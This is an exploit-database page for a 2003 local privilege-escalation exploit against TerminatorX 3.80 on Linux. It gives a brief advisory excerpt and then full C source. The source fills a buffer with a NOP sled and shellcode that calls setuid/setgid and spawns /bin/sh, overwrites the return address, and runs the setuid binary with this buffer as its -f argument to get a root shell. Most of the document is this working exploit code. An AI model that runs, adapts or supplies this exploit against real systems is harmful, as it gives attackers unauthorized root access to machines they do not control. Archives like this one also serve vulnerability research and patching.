Exploit TerminatorX 3.8 - Multiple Command-Line and Environment Buffer Overrun Vulnerabilities (3)

[Exploiter]

EDB-ID

23352

Проверка EDB

1. Пройдено

Автор

M00 SECURITY

Тип уязвимости

LOCAL

Платформа

LINUX

CVE

N/A

Дата публикации

2003-11-07

// source: https://www.securityfocus.com/bid/8993/info
  
It has been reported that TerminatorX may be prone to multiple vulnerabilities when handling command-line and environment variable data. As a result, an attacker may be capable of exploiting the application in a variety of ways to execute arbitrary code with elevated privileges. It should be noted that TerminatorX is not installed setuid by default, however the author recommends that users make the application setuid root.

/*******************************************************
*	     terminatorX v3.80 - local root exploit
*	          by m00 Security / Over_G
*
*	  overg[at]mail.ru		www.m00.ru
*
*		   Bugs discovered by c0wboy
********************************************************/

#include <stdio.h>
#include <stdlib.h>


char shellcode[] =      "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
      			"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
      			"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
      			"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
      			"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
      			"\x80\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

unsigned long ret = 0xbffffaaa;


int main(int argc, char ** argv)
{
int i,offset;
char buffer[1266];

  if(argv[1]) { offset=atoi(argv[1]);
  	ret = ret - offset; }

for (i=0; i < (259-strlen(shellcode));i++) buffer[i]=0x90;
memcpy((buffer+259-strlen(shellcode)),shellcode,strlen(shellcode));
memcpy((buffer+259),"A",1);
memcpy((buffer+260), (char*)&ret, 4);



printf("\nterminatorX v3.80 - local root exploit by m00 Security / Over_G\n    	  www.m00.ru		OverG[at]mail.ru\n\n");
printf("Using ret: 0x%08x \n",ret);

execl("/usr/local/bin/terminatorX","terminatorX","-f",buffer,NULL);

}